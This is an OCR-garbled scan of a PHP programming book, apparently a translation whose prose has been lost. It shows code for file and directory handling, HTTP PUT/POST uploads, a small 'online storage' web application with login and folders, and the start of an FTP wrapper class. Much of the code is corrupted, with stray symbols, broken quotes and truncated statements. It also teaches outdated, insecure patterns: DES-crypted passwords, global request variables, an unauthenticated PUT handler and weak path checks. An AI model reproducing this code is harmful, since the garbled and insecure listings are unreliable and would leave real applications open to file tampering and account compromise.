if ((Stime - SaccessTime) > 1024*60*60) {
if (unlink($directory . "/" .$file)) {
printf("File %s is removed from %s directory <br>\n",
$file, $directory);

, , . -

283

cleanTemporaryFilesO . , , " . " " . . ":


} else if:(is_dir($di rectory . "/" .$file) &&
($file !=".") && ($file != "..")) {
cleanTemporaryFiles($directory . "/" $file);

:
closedir($dir);
:

'> '~>&:'-:

"^

'

"

;:

'. : .

cleanTemporaryFiles("c:/temp"); : ::

?> .v :;;

; : , </bOdy>

</html>


int mkdir(string di recto ryname, int mode)
mkdir( ) . directo ryname . mode UNIX. Windows . ,
. t r u e s false .
: \temp\test:
<?php
if (mkdir( ": /temp/test", "0700")) {

printf("New directory created");


} else {
:
printf ("Couldn't create directory");

Int rmdir(string dirname)


rmdirQ . t r u e false . ,
rmdi ( ) .
:
function 'removeOi rectory ($di recto ry)
{

:.." : -

$dir = opendir($directory);

284

9.

:
while (($f ile =. readdir($dir))) {
if (is_file($di rectory . "/" . Sfile)) {
unlink($directory . "/" .$file);
" . " " . . " . removeDi recto ry( ) : " . " " . . ",
!
} else if (is_di r ($di rectory . "/" .$file) &&
(Sfile != ".") && (Sfile != "..")) {
removeDirectory($directory . "/" . $file);
closedir($dir);
:
rmdir($directory);
printf("Directory %s removed", Idirectory);


,
:
HTTP PUT
HTTP POST
HTTP ,
-, - GET, PUT POST.
GET -. GET
,
URL. GET
- - GET - . - URL ( 1024),
, GET , .
PUT . ,
URL. PUT .
POST URL, -

285

, -. POST, . POST . POST


, .

PUT
HTTP PUT :
PUT /path/filename.html HTTP/1.1
, -
URL (/path/filename.html) URL
-. - ,
, .
-.
, Apache Script ( httpd.conf). , HTTP PUT put. cgi:
Script PUT /cgi-bin/put.cgi

PHP PUT. PUT, PHP ,


. $PHP_PUT_FILENAME, a URL $REQUEST_URI.
PUT
URL URL -:
<?php copy($PHP_PUT_FILENAME, $DOCUMENT_ROOT.$REQUEST_URI); ?>
PUT . http:/'/
www.php.net/bugs.php?id=10383.

POST
HTML ,
, -.
Netscape, Microsoft.
HTML (uploadf ile. html) :
<html>
<head>
<title> A Simple Form for Uploading a File </title>
</head>
<body>
<h2> A simple form for uploading a fllei</h2>

9.

286

enctype m u l t i p a r t /
form-data ,
. enctype ,
. enctype
application/x-www-form-urlencoded:
<form action="upload.php" methodpost" enctype="multipart/form~data">
file:
Enter file name: <Input type="file" name="userfile"><br>
<input type="submit"xbr>
</form>
</body>
</html>
(. 9.1):
.si Proi'lll'.t ih.HitcrOT uplo,idfileJitnit -
flit Mew Search Go

Bookmarks basks Help

A simple form for uploading a file


Enter file name: |

Browse...

Ducurrieni; Done (0,15 sees)

. 9.1.
HTTP file, PHP .
, ,
upload_tmp_dir p h p . ini. , TMPDIR. , , , , , ,
.
HTTP_POST_FILES. , (
file) userfile, :
$HTTP_POST_FILES[ ' u s e r f i l e 1 ][ ' n a m e ' ]

$HTTP_POST_FILES[ ' u s e r f i l e ' ][ 'type' ] MIME-

$HTTP_POST_FILES[' u s e r f i l e ' ][' size' ]

287

$HTTP_POST_FILES[ ' u s e r f i l e ' ] [ 'tmp_name' ] ,



PHP upload. php,
temp/:
<html>

' , .::>:0,,'. l;f 0

<head> :
<title>Upload File Example</title>
</head>
<body>
<?php

-'";:^"^

printf ("<b>Uploaded File Details</b><br><br>");


printf ( "Name: %s <br>", $HTTPlPOST_FlLES["userfile"]["name"]);.
printf ("Temporary Name: %s <br>",
$HTTP_POST_FILES[ "userf ile" ] [ "tmp_name" ] ) ;
printf ("Size: %s <br>", $HTTP_POST_FILES["userfile"]["size"]);
printf("Type: %s <br> <br>", $HTTP_POST_FILES["userfile"]["type"]);

' : \temp\:
if (copy($HnP_POST_FILES["userfile"]["tmp_name"],
/; : :
"c:/temp/".$HTTP_POST_FILES["userfile"]["narae"])) {
printf ("<b>File successfully copied</b>");
} else {
_; .'.. :
printf("<b>Err6r: failed to copy file</b>"); </body>
</htmi:>
(. 9.2):
JFIe Eft View Search Go Bookmarks Tasks Hdp

II

Uploaded File Details

!) Name: a.txt
5 Temporary Name: C:VWINNT\TEMP\pl4543.tmp
j Size: 12
|i Type: text/plain
11

File successfully copied


..sni:Don(0.;41C5):

. .

. . ,.,...;::.:! j . . .

. 9.2.

288

9.

,
. , . , , , upload . php :
if ($HnP_POST_FILES["userfile"]["size"] > 1024*1024) {
printf("<b> Error: File size is greater than one megabyte</b>");
exit;
'

if (copy($HTTP_POST_FILES["userfile"]["tmp_name"],
c:/temp/".$HTTP_POST_FILES["userfile"]["name"])) {
printf("<tFile successfully copied</b>");
} else {
printf("<b>Error: failed to copy file</b>");
}
PHP upload_max_f ilesize ( 2 ) , . .
, HTTP POST:
is_uploaded_file() - true, (filename)
HTTP POST.
move_uploaded_f ile( ) - filename destination.
, . true.

,

,
, .
, , .


, -, .
.
-.
- ,
. :

289


, HTML 3.2 .
.
. , ,
.
:






.
.
, (. 9.3):
f http: /lotalhost/proPHP4/Chapter09/cfeateusef,Mnil* File Edit View Search go Bookmarks Tasks Help

-tS
New User Registration
nrstnarne
lastname
i email address
\ usemame
;

'

password
confirm password |

Document: Done (0211 sees)

. 9..
. - , , ,
- Submit.
, . (. 9.4).
10 989

290

9.

, File Edit View Search Go Bookmarks Tasks Help

Welcome to Online Storage


Application
ITsemame: |
Password: |

Puc. 9.4.

, _
Username Password Submit. ,
(. 9.5):
* Sew Search So Bookmarks Tasks !

Welcome mattmoodie
Name

File Size

Logout
Last Modified

Create Folder
Folder Name: I
Create Foldgf:::
Remove Folder/File
Select a Folder/File: | 3
Remove I
Upload File

Upload
Document: Don* (0.811 sees) : >

Puc. 9.5.

:

, Folder Name Create Folder.

291

/
/, Select a Folder/File Remove Folder.

,
Upload File Upload.


.
/.

,
Logout.
, cookies
--enable-trans-sid.
, , =
session_name=session_id URL HTTP. cookies 8.
.


common, php , :
<?php
:
$rootOirectory="c:/online-storage";
:
SuserProfileDir = "c:/online-storage/profiles";
. / UNIX \\
Windows:
$fileSeparator='7";
getAbsolutePath()
$fold. /
. getAbsolutePath() / $fileSeparator SrootFileDirectory:
// :
function getAbsolutePath($fold)

292

9.

global SrootDirectory, SfileSeparator;


SfolderName = SrootDirectory;
SarrayStr = split(V, Sfold);
for($i=0; $i < sizeof(SarrayStr); $i++) {
SfolderName = SfolderName . SfileSeparator . $arrayStr[$i];
return SfolderName;

HTML:

//
function makeAnchorElement($href , $text)
{
$str="<a href=".$href."> ". $text. "</a>"; :: ;
sprintf($str, "<a href=\"%s\"> %s </a>", $href, $text);
return $str;
$f oldName $cu r rFolder:

//
function createFolder($currFolder, $f oldName)
{
return mkdir(getAbsplutePath($currFolder. "/".$f oldName), 0700);
$f oldName, $cu r rFolder:

//
function deleteFolder($currFolder, $foldName)
{
global SfileSeparator;
if (($dir = opendir(getAbsolutePath($currFolder . "/" . $foldName)))
< 0) {
return $dir;
}
while (($file = readdir($dir)) != null) {
SabsFilePath = getAbsolutePath($currFolder . "/" SfoldName)
. SfileSeparator . $file;
: if (is_dir($absFilePath)) {
if (($file I-".") && ($file != "..")) {
if (($res ..= deleteFolder($currFolder , "/" SfoldName,
return $res;
} else {

Sfile)) < 0) {

293
l

if (($res = deleteFile($currFolder . "'"/"* . SfblciName, $file '::

;: ' ' " . .


return $res;

'- '':., $fe


,

' : Uw4 <'>' <

, //:' "

.
closed! r($c(ir);
return rmdir(getAbsolutePath($currFolder. "/".SfoldName));
}

'

"

SfileName $currFolder:

//
function deleteFile($currFolder, SfileName)
<

return unlink(getAbsolutePath($currFolder. "/".SfileName));

,
:

//
function sendErrorPage(lmesg)
{
printf("<html>");
.:.;;
.
printf("<head></head>");
'
printf("<body>");
printf("<h1>%s</h1>", $mesg);
prlntf("</body>");

:)

printf("</html>");
'

IsSessionAuthenticatedO , . (. login . php) SisAuthenticated true:


function isSessionAuthenticatedQ
{

global SisAuthenticated;
session_start();

if (session_is_registered("isAuthenticated") &&
SisAuthenticated) {
!
V, return true;
} else {
return false;

"V

?>: .

: ::::iiit

294

9.


HTML createuser. html
:
<html>
<head>
<title> Online Storage Application </title>
. </head>
<body>
<h1> New User Registration </M>
HTML .
, , createuser. php.
, POST, URL:
:<form method="post" action="createuser.php"> : :
<table>
:: ' ;.,
<tr>
<td> firstname </td>
firstname :
<td> <input type="text" name="firstname"/> </td> : ; , ,
."'--;"

<> ,

<tr>
<td> lastname ,</td>

'

'Q

lastname :
<td> <input type="text" name="lastnaffle"/> </td>
</tr>
<tr>
<td> email address </td>
emailaddress :
<td> <input type="text" name="emailaddress"/> </td>
</tr>

::

<tr>
<td> username </td>
username :
<td> <input type="text" name ="username"/> </td>.
</tr>
.' ;:.,,- .
.:,-,..'
<tr>
<td> password </td>

295

password conf irmPassword :


'."

. <td> <input type='" password" name ="password"/> </td>

<tr>
<td>
<td>
</tr>
<tr>
<td>
<td>
</tr>
</table>
</forn)>
</body>
.: </rttml>

confirm password </td>


<input type="password" name ="confirmPassword"/> </td>
</td>
<input type="submit" value="Submit"/> </td>

createuser. php, :
<?php
includeC'common. php");
, . -
, :
//,
Ifirstname = trim($firstname);
$lastname = trim($lastname);
$emailaddress = trim($emailaddress);
!
$username = trim($username);
Spassword = trim($password);
$conf irmPassword = trim($conf irmPassword);

if ((Sfirstname ==""")
| | (Slastname == "") (Semailaddress == "")
(Susername ==:"") || (Spassword == "") || (SconfirmPasSword =="")) {
sendErrorPage("Error: Not all the form fields are filled ");
exit;
'
, $password $conf irmPassword:
if ($password != $confirmPassword) { :
sendErrorPage("Er:ror: password and confirm password value don't match");
exit;
, $username.
SuserProfileDir:

296

9.
//,
SuserProfileFile = SuserProfileDlr . SfileSeparator . Susername;
if (file_exists($userProfileFile)) {
sendErrorpage( "Error: User Name " . Susername ." already exists");
exit;

:
// Create user's profile file
if (($fp = fopen($userProfileFile, "w+")) < 0) {
sendErrorPage( "Internal Error: Could not create file
SuserProfileFile);
exit;
. -, :
fwrite($fp,
'fwrite($fp,
fwrite($fp,
fwrite($fp,

"firstname:" . Sflrstname . "\n");


"lastname:" . Slastname . "\n":);
"emailaddress:" . Semailaddress . "\n");
"username:" . Susername . "\n");

- .
. . - . DES 2- SALT.
, c r y p t ( ) - , . . decrypt( ) , :
fwrite($fp, "password:" . crypt($password, CRYPT_STD_DES) . "\n");
fclose($fp);
:
//
if (createFolder("/"i Susername) <= 0) {
sendErrorPage("Internal Error: Could not create directory "
. Susername);
exit;
mimeTypes. mimeTypes
MIME- :
// mimeTypes
SmimeTypeFile = Susername . "/" . "mimeTypes";

297

if (!fopen(getAbsolutePath($mimeTypeFile), "w+")) {
sendrrorPage( "Internal Error: Could not create file " .. $mifneTypeFile);
exit;

<html>
<headx/head>
<body>
, :
<h1> User <?php echo(lusername) ?> ; Created.
Go to the <a href="login.html">Login page</a></h1>
</body>
</html>

:
firstname:Chactio
lastname:Agarwal
emailaddress: cagarwal@cagarwal.com
username:cagarwal
password :1$m8fRKpcZOX2


HTML login, html :
<html>
<head>
<title> Online Storage Application </title> '
</head>
<body>
<h1> Welcome to Online Storage Application </h1>
HTML . , , login, php.
, POST, URL:
<form name="LoginForm" action="login.php" method="post">
<table>
<tr>
<td>Username: </td>
username :
<td><input type="text" name="username"/x/td>
</tr>

298

9.
<tr> .'...,;.,.
<td> Password: </td>

password :
<td><input type="password" name="pasSword"/></td>
;;^.,V, ' </tr>
<tr>

<tdx/td>
<td><input type="subtnit" value="Submit"x/td>
</tr>
</table>
</forffl>;
</body>
</html>

(login, php) .
, ,
- :
<?php
inciude_once( "common. php");
, , , :
Susername = trim($username);
Spassword = trim($password);
//
if ((Susername == "") || ($password =="")) {
sendErrorPage("The username and password you have entered are invalid.
Please try again");
exit;
, :
SuserProfileFile = SuserProfileDir . $fileSeparator . Susername;
// ,
if (!file_exists($userProfileFile)) {
sendErrorPage("The username and password you have entered are invalid.
Please try again");
exit;
username - :
//
$fileContent = file($userProfileFile);
if (SfileContent == null) {

299

sendErrorPageC'Internal Error: Could not read " .


,, ;, i .. : : : : .:' SusefProf ileFile . " file" ) ;
exit;

:,; '"> :"'.:',

I /
for($i=0; $i <;sizeof($fileContent); $i++) {;:
$line =:trim($fileContent[$i]);
^
list ($name, lvalue) =split(":", $line);
if; ($name == "username") {
SuName = lvalue;
: :
} else if ($name == "password") {
SuPassword = lvalue;

, , . , -, - , ,
-, :

if ((SuName != $username) ||
(SuPassword != crypt($password, CRYPT_STD_DES))) {
sendErrorPage("The username and password you have entered is invalid.
Please try again"); <
exit;
, PHP:

//
//
'
;
i f (!session_start()) {
sendErrorPage( "Internal Error: Could not Create user session");
exit;

isAuthenticated:

if (!session_register( "isAuthenticated";)) {
sendErrorPageC'Internal Error: Could not add isAuthenticated variable
to the user session");
exit;
\

'

$isAuthenticated=t rue ;

. ' /''".

. ..,',.'.'..' '

username:

if (!session_register("username")) { :
sendErrorPageC'Internal Error: Could not add username variable

300

";';

9.

'

exit;

to the user session");


. . . .

} ::;. A

;:'

:;

.'/;,

currentFolder:
if (!session_register( "currentFolder'')) {
sendErrorPageC'Internal Error: Could not add currentFolder variable
to the user session");
exit;'
Susername. ,
$username:
$currentFolder = $username;
include_once("main.php");
exit;

PHP main . php :


<?php
include_once( "common. php");

, :
if (! isSessionAuthentica'tedO) {
sendErrorpageC'User session has expired. Please login again");
exit;
<html>
<head>
<title> Online Storage Application </title>
</head>
<body>
<table width="100%">
<tr>
<td width="75%">
. , $username :
<b> Welcome <?php echo($username) ?x/b>
</td>
<td width="25%">
<a href="logout.php">Logout</a>
</td>
</tr>

301

</table>
<br>
:
ctable valign="top" border="1" width="100%"
cellpadding="2" cellspacing="0">
. , - , / :
<tr >

<! Display the content of the current folder .-->


<td valign="top" width="50%">
: <table valign="top" width="100%">
::
, , ( ), :
<tr bgcolor="FFFFCC" valign="top" nowrap>
<th valign="top" align="left">Name</th>
<th valign="top" align="left">File Size</th>
<th valign="top" allgn="left">Last Modified</th>
</tr>
<?php
//

,
$current_folder . :
$dir = opendir(getAbsolutePath($currentFolder));
while (($file = readdir(Sdir)) != null) {
//He mimeTypes
He mimeTypes. mimeTypes MIME :
if ($file == "mimeTypes") {
continue;
He ".":

' '

It He ,
if ($file == ".") {
continue;

302

9.

, " . . " :
7/ ..
V: :if (ScurrentFolder ==: $username) { ;
.'.--

if :($ == . . " ) { " :

continue; ,

',:..'':.'.,.:.. ,,';.'. >'

$f :
fabsoluteFilePath = getAbsolutePath($currentFolder . "/" . $file>;
:
printf("<tr valign=\"top\" nowrap bgcolor=\"#FFFFFF\">\n");
printf("<td valign=\"top\" align=\"left\">\n");
:
if (is_dir($absoluteFilePath)) { .

, HTML
viewfolder.php:
',--,";'

printf("<a href=\"viewfolder.php?fold=%s\"> s </a>\n",


::;
;
urlencode($file), $file);
:
} else {

, HTML viewfile, php:


printf("<a target=\"_blank\"
nref=\"viewfile.php?file=%s\"> %s
</a>\n ", urlencode($file),; Ifile);
printf("</td>\n");
:

printf("<td valign=\"top\" align=\"left\">%s</td>\n",


filesize($absoluteFilePath));

:
printf("<td valign=\"top\" align=V'left\">%s</td>\n",
date("m/d/Y h:I:s", filectime($absoluteFilePath)));
printf("</tr>\n");

303

7s

olosedir(idir)

?>

. :': </table>

X ' '''I

</tdX :

' ::

',

'

"<!-.- Generate html: forms for creaing, deleting, renaming and


uploading files -->.
, <td valgin="top" width="50%">: ,.. ,
<!-- Form for creating folder -->

HTML .
reatef older, php:
.

<form method="post" action="createfolder.php">


<table border="0" cellpadding="1"
:cellspacing="1" width="100%">
' ;.; :::::. <tr>, '' ' '
' %
<td now rap bgcolor="FFFFCC">
<b>Create Folder</b></tdx/tr> X :

:, .-,..; . . .'

f oldName :
<tr><td: nowrap bgcolor="jFFFFFF"> Folder Name:
<input type="text" name="foldName"></tdx/tr>
<trxtd nowrap bgc6lor="dcdcdc">
<input type="submit" value="Create Folder"x/td></tr>
</table>
: ,;
</form>
,

HTML .
removef older, php:
<!-- Form for removing folder/ File -->
<form method="post" action="removefolder.php">

;, <td nowrap bgcolor="FFFFCC">


;. <b> Remove Folder/File </b>
</td>
</tr>
<tr><td nowrap bgcolor="#FFFFFF"> Select a Folder/File:
:
<select name="foldName">
<?php
$dir,= opendir(getAbsolutePath($currentFolder));
HTML <option> , " . " , " . . " mimeTypes, :

304

9.
while (($file = readdir(Sdir))) {
if ((Sfile != ".") && (Sfile != "..") && '
($file != "mimeTypes")) {
printf("<option value=\"%s\">", $file);
if (is dir(getAbsolutePath($currentFolder . "/" .
Sfile))) {
printf("<i>%s</i>", Sfile);
i
} ;else {
printf("%s", Sfile);
}
printf ( "</option>\n" ) ;

</select>
<td></tr>
<tr>
<td nowrap bgcolor="dcdcdc">
<input type="submit" value="Remove">
</td>
</tr>
: </table>
</form>
;"
HTML .
u p l o a d f i l e . php, enctype
m u l t i p a r t / f o r m - d a t a :
<!-- Form for uploading File -->
<form method="post" enctype="multipart/form-data"
action="uploadf ile. php">
ctable border=0 cellpadding=1 width="100%">
<trxtd nowrap bgcolor="#FFFFCC"xb>
Upload File </bx/td></tr>
<trxtd nowrap bgcolor="#FFFFFF"><input name="userfile"
type="file"x/tdx/tr>
xtrxtd nowrap bgcolor="dcdcdc"><input type="submit"
value="Upload"x/td></tr>
</table>
</form>
</td>
</tr>
</table>
</body>
</html>


createfolder. php :
<?php
include( "common . php" );

305

, :
session_start();

if (!session_is_registered("isAuthenticated") | | !$isAuthenticated) {
sendErrorpage("User session has expired.: Please login again");
exit;
SfoldName . SfoldName
,
ScurrentFolder :
//

if (createFolder($currentFolder, IfoldName) < 0) {


''.'.'. sendErrorPage( "Internal Error: Could not create folder " . $foldName); ,
exit;
mimeTypes:
// MIME
SmimeTypeFile = ScurrentFolder ."/". $foldName . "/". "mimeTypes";
fopen(getAbsolutePath($numeTypeFile), "w+");
main . php :
lnclude_bnce( "main. php"); '

/
removef older, php / :
<?
include( "common. php" ) ;
, :
.:

if (lisSessionAuthenticatedQ) {
sendErrorpage("User session has expired. Please login again");
'"'.','. "exit; ":;:'.

>

. '

^'fc^;

if (is_dir(getAbsolutePath($cUrrentFolder . "/" . SfoldName))) {

$f oldName - , :
! if:(deleteFolder($currentFolder, SfoldName) < 0) {
sendErrorPageC "Internal Error: Could not delete folder " .
$f oldName);

306

9.
exit;
}:
} else '{:.;'

$f oldName - , :
if (deleteFile($currentFolder, SfoldName) < 0) {
sendErrorPageC'Internal Error: 'Could not delete file " . $foldName);
exit;
.
'.

'

' .

. .

' '

" '

:'...

. . ' : : ' '

"

'!

'

'.-

" -

. ' ' ' .

'' ".'". '

mimeTypes:
// mimeTypes
$mimeTypeFile = getAbsolutePath($currentFolder . "/" . "mimeTypes"); ';
if (($fileContent = file($mimeTypeFile)) == null) {
sendErrorPageC'Internal Error: Could not read file " .-..
SmimeTypeFile);
* exit;
}

\^n^':'.-:\^ .'",;.:,

if (($fp = fopen($mimeTypeFile, "w")) <= 0) { '.-


sendErrorPageC'Internal Error: Could not open file" .

exit; I

$miiieTypeFile);.
:.:.'v!;::f" ' : " .

for($i=0; $i < sizeof($fileContent);


Sline = trim($fileContent[$i]);
list (SfileName, SmimeType) = split(":", $line);
if (SfileName != SfoldName) {
fwrite($fp, $fileContent[$i]);

include_once( "main .php" );


:
' ?>'...
'.
. -'-i '

:;

' '


uploadf ile. php :

<?
include( "common .php" ) ;
, :

if (lisSessionAuthenticatedO) {
sendErrorpage("User session has expired. Please login again");
exit;

'

307

. $HTTP_POST_FILES[ "userf ile" ][ "name" ]:

.......

// upload the file


move_uploa:ded_file($HTtP_POST_FILES["userfiie"]["tmp_name"],
getAbsolutePath($currentFolder . "/" . ' ::,.
basename($HTTP_POST_FILESt
"userf
ile';]
.
..;.
....

.....
....
. .
..
''..
. .....
...
..

mimeTypes. MIME $HTTP_POST_FILES["userfile"]["type"].


, mimeTypes :
// MIME-, mimeTypes
$fp = fopen(getAbsolutePath($currentFolder . "/" "mimeTypes"), "a");
:fwrite($fp, basename($HTTP_POST_FILES["userfile"]C"name"]) . ":" .
$HTTP_POST_FILES["userfile"]["type"] . "\n");

:
fclose($fp):; ;:

"": .,,,.

main . php :
include_once("main.php");
'?'>'

. ' . ' .

' : "'

;
.

'"

"

'.'

'

mimeTypes:
MyPic. jpg: image/ j peg
Welcome. html: text/html
file_chap.doc:application/msword

*:;:


PHP v i e w f i l e . p h p
:
<?php
include( "common. php" );
, :
if (! isSessionAuthenticatedO) { ;
sendErrorpage("User session has expired. Please login again");
exit;

"

MIME- :
// MIME-
SmiraeTypeFile = getAbsolutePath($currentFolder . "/" "mimeTypes");

308

9.
if ((IfileContent = file($mimeTypeFile)) == null) {
sendErrorPage( "Internal Error: Could not read file " . SmimeTypeFile);
exit;
for($i=0; $i < sizeof($fileContent);
$line = trim($fileContent[$i]);
.. list (SfileName, $mimeType) = split(":", $line);
: if (SfileName == $file)v{
$contentType= SmimeType;
break;

HTTP Content-Type. HTTP


Content-Type MIME- :
if (isset($contentType)) {

header( "Content-Type: ".$contentType);

$f lie. $f ile :
SfileAbsPath = getAbsolutePath($currentFolder . "/" . $file);
. , MIME-
, , - :
if (isset($contentType) && strstr($contentType, :"text/")) {
$fp = fopen($fileAbsPath, "r");
} else {
$fp = fopen($fileAbsPath, "rb");
:
fpassthru($fp);
?>


viewFolder. php :
<?php
include( "common. php");
, :
if (.! isSessionAuthenticated( ) ) {
sendErrorpage("User session has expired!!. Please login. ;again");

exit; : :v'"

'

'

309

'

'

currentFolder; PHP main, php , ScurrentFolder:


session_register("currentFolder");
//
if CSfold == .") {
'I/
} else if ($fold == "..") {
$pos = strrpos($currentFolder, "/");
ScurrentFolder = substr($currentFolde'r, 0, $pos);
} else {
= ScurreotFolder . "/" . $fold;
' $currentFolder
'
, Susername $currentFolder. ,
:
// Susername
if (!strstr(strtoupper($currentFolder), strtoupper($username))) {
sendErrorPage("Error: Cannot access " . ;$currentFolder);
exit;
main, php:
include_once("main . php" ) ;
?>
.

" ' " ' '

".'

'


:
.', <?php
include( "common . php" ) ;
, :
if (lisSessionAuthenticatedQ) {
sendErrorpage("User session has expired. Please login again");
exit;

'""4;"

. } ;v.
:
session_destroy();
?>
''
<htral>

' .'

' ':.-

310

9.

<head>
<title> Online Storage Applipation </title>
</head>
<body>
':;::;. <h1> Thanks <lx?phpecho($username) ?></i>: ';:?;5:
for using Online Storage Application </h1> ; :
</body>
</html>


.
,
-.
, ,
. , ,
, .
, API
, :
-
-
-
- ,


10
FTP
FTP - .
- . FTP , FTP.
FTP FTP FTP.
FTP, - (. ).
:

, FTP .
.
, FTP :
FTP,

FTP- -
:
FTP . , , .
.
,
.
FTP FTP.

312

10. FTP

FTP
FTP 3.0.13.
FTP
*nix. , --enable-ftp. FTP () Windows.
FTP : ftp://
ftp.isi.edu/in-notes/rfc959.txt. FTP , FTP. *nix :

man ftp
man ftpd

FTP
, FTP.
ftp.wrox.com,
:
<?
// FTP
$ftp_link = ftp_connect(' ftp. wrox.com');
// ,
ftp_login($ftp_link, 'anonymous', 'foo@bar.com');
// ASCII
ftp_get($ftp_link, '/noscan', 'noscan', FTP_ASCII);
// FTP
; ftp_quit($ftp_link);

. , .
, , FTP. :
<?php
//
$host = 'ftp.wrox.com';
Sport = 21;
$user = 'anonymous' ;
Spass = 'zak@fooassosciates.com';
// FTP, , .

FTP

313

set_tiirie_limit(120);
$ftp_lirik - ftp_connect($host, Sport)
or die( "Gould not connect to FTP server '$host' on port Sport");
//
$login '= ftp_login($ftp_link, $user, $pass);
//
if ($login) {
//
$file_list = ftp_nlist($ftp_link, "./beginning");
//
if (is_array($file_list)) {
foreach ($file_list as $file) {
: , :

//
// ,
if (ftp_get($ftp_link, $file, $file, FTP_BINARY)) {
echo("File '$file' downloaded. <br>");
} else {
echo( "Could not download file '$file' .<br>");

} else {

echo("No files to download. ");

' } ' ;
// ,
//
} else {
echo("Could not login : to '$host:$port' as user '$user' " .
"(password hidden ).<br>");

//
ftp_quit($ftp_link);

FTP
FTP .
, FTP.
. , .
:
, FTP.
,
FTP- .

314

10. FTP

FTP- .
,
FTP-.

FTP
FTP :
, ,
, ,

,
FTP
.
.
, , , - .

, FTP. , . FTP- - .
. , , .
FTP
,
FTP. ,
scp.
sop - Linux, . SSH.
scp ,
, . :
scp [[user]host1:]file1 [[user]host2:]file2.

,
(). - _ (_, _). example, com :
: $ftp->copy('lenny:jamjam@example.com:/var/log/ftp.log', 'ftp,log');

FTP

315

. , . ,
, , ..
.
, , _dest ructo r(),
FTP, . , , register_shutdown_f unction() $this.
.
.
, ,
FTP. , , :
:i:

<?php

define('LOCAL',
define*'REMOTE',
: define*'TQ_LOCAL',
define*'TO.REMOTE',

1 0);
1 t);
LOCAL);:::'
REMOTE);

//

define*'FROM_LOCAL', LOCAL 2);


define('FROM_REMOTE', REMOTE 2);

Ftp_Wrapper :

Sconnection FTP.
, .
, , .
FTP,
.
.

$tmp_dir .
FTP.

$mode FTP.

class Ftp_Wrapper ;
{
svar Sconnection, \
$tmp_dir = '/tmp',
$mode;

, :.
u

i| .
// ftp
//
// (ASCII BINARY)

Ftp_Wrapper() . .

316

10. FTP

$connection, _destructor( ), ,
BINARY:
function Ftp_Wrapper ()
{
//

$this ,
. ,
.
_destructor() .
. , , .
$this->connection = array (); //
register_shutdown_function(array($this, '.destructor'));
$this->mode = FTP BINARY;
// BINARY
mode( ) - . , FTP. , :
function mode($mode = NULL)
{
// Set the transfer mode
if (NULL !== Smode)
$this->mode = Smode;
return $this->mode;

//
//

copy( ) .
, . , ( ) FTP:
function copy($from, $to)
I

'

'

, $f rom $to, . .
,
$f rom $to. , ,
_parse( ). , _parse( )
type. ,
( ):
$from = $this->_parse ($from); // ;
$to = $this->_parse ($to);
//

FTP
if (!$from j| !$to)

317
// _parse()

return FALSE;

, , $to $f .
, :
if (!$this->_connect($from))
return FALSE;
if(!$this->_connect($to))
return FALSE;

//
//
//
//


,

,

()
, . ,
type , , , FTP, FTP FTP.
, type $f rom
. REMOTE LOCAL FROM_REMOTE FROM_LOCAL. , type, :
switch ($from['type'] 2 | $to['type'j) {

FROM_LOCAL TO_LOCAL, .
path
():
case (FROMJ.OCAL | TO_LOCAL):
// ()
.return copy($from[;'path'3, $to['path']);
break;
FTP-
ftp_put(). FTP,
_().
mode() :
case (FROMJ.OCAL '| TO_REMOTE):
return copy ($this->_conn($to), $to['path'], :
$from['path'], $this->mode());
break;

FTP . , -

318

10. FTP

,
.
$to , ,
,
.
, ,
. f t p _ f g e t ( ) . ,
FTP, :
case (FROMJEMOTE | T0_ LOCAL):
$temp = $to[ ' path ' ] ;
if (@is_dir($temp) ) { //
//
if (substr($temp, 0, -1) != '/')
:$temp ;= '/';'
$temp .= basename($from['path']);

}
$fp = fopen($temp, 'w'); //
// ftp_fget()
if (!$fp) {
// , :
//
user_error(
"File '{$to['path']}' could not be opened for writing"

);

return FALSE;

'

f t p _ f g e t ( )
ftp_put() - FTP-
_() , .
, , , :
$return_val = ftp_fget($this->_conn($from), $fp,
$from[ 'path' ], $this->mode());
fclose($fp);
//
return $return_val;
break;
FTP- ( ) . .
, ,
, , .

FTP

319

. () - - :
case (FROMJEMOTE | TO.REMOTE):
$tmp = $this->tmp_dir . '/ftpcp_'
. md5($from['safe']
. $to['safe']);

touch(ltmp);
chmod($tmp, 0700);

// ' .'.
//

//
Sresult = $this->copy($from['safe'], $tmp);
//
$result2 = $this->copy($tmp, $to['safe']);
unlink ($tmp);
//
// TRUE
return (bool)($result && $result2);
,..-:-.: .,;: break; ,
, , - . FALSE, ,
. :
:

default:

//
//
user_error("No bit flags matched. This should never happen!");
return FALSE;
//
break;

_conn( ) md5( ) , , . $connection.


(&) . ,
.
Sconnection, :
function &_conn($info) .
:{
// FTP
$md5 = md5 (
// _conn()
'// ,
$info['host'] .
//
$info['pass' ] .
// , ,
$info['port'] .
$info[ 'user']

320

10. FTP
}

return $this->connection[$md5];

_parse( ) .
( ) .
, . , ,
,
, , . , .
, , :
FALSE

type LOCAL

safe

path ,

:
function _parse ($info)

$chars = count_chars ($info);


// < 2 1 @> ,
// $info //
if ($chars[ord: (': ')] < 2 && 0:== $chars[ord('t'}]) {
return array(
'safe' => $info,
# $info :
'type' => LOCAL,
# ,
'user'
'pass'
'host'
'port'
' path '

. . . ...

,,..

if. ($chars[ord( '')] > 1) {// :


// _parse
:
user_errbr( '
;' ; : '
"The network and path information could not be parsed " .
"from the location. Are you sure you meant '{$info}'?"
. . ); V.', ,.
return FALSE;
tt ,
, ,
, -

321

FTP

. :([0-9]+)
. user:pass@host:port:path, :
$with_port = preg_match(

//
//user/pass/host/port/path
([":]+):(.+.+):([0-9]+) :([-:]+)$/',
:$info,
$match

if ($with_port) {
return array(
'safe' =>
'type' =>
'user' =>
'pass' =>
'host' =>
'port' =>
'path' =>

$info,
REMOTE,
$match[1],
$match[2],
$match[3],
$match[4],
$match[5]

// ,
//

, FTP 21.
$without_port = preg_match( //
// user/pass/host/path
7"'(:]+):(. +. +):([-:]+)$/',
$info,
$match
if ($without_port) {
return array (
'safe' => $info,
'type''=> REMOTE,
'user' '=> $match[1],
'pass' => $match[2],
'host' => $match[3],
'port' => 21,
'path' => $match[4]

// ,

user_error(
// $info
"Host, authentication and path data could not be parsed"
return FALSE;
_ c o n n e c t ( ) FTP-.
- . . 1 1 . 989

322

10. FTP

, TRUE
:
function _connect($info)
:

'(.

$ , _(). _()
$connection, $conn $connection.
$ , $connection:
V: \ ? : :

$conn =& $this->_conn($info);

//
// ; : : '
if (isset(Sconn))
// ,
return $conn;
//
foreach ($info as $k => $v) { //
//
${$k} =4 $info[$k];
}
if (!$host) {
//
return TRUE;

>

// FTP
$fh = ftp_connect($host, Sport);
if (!$fh) {
//
user_error( "Could not connect to host '$host: Sport'");
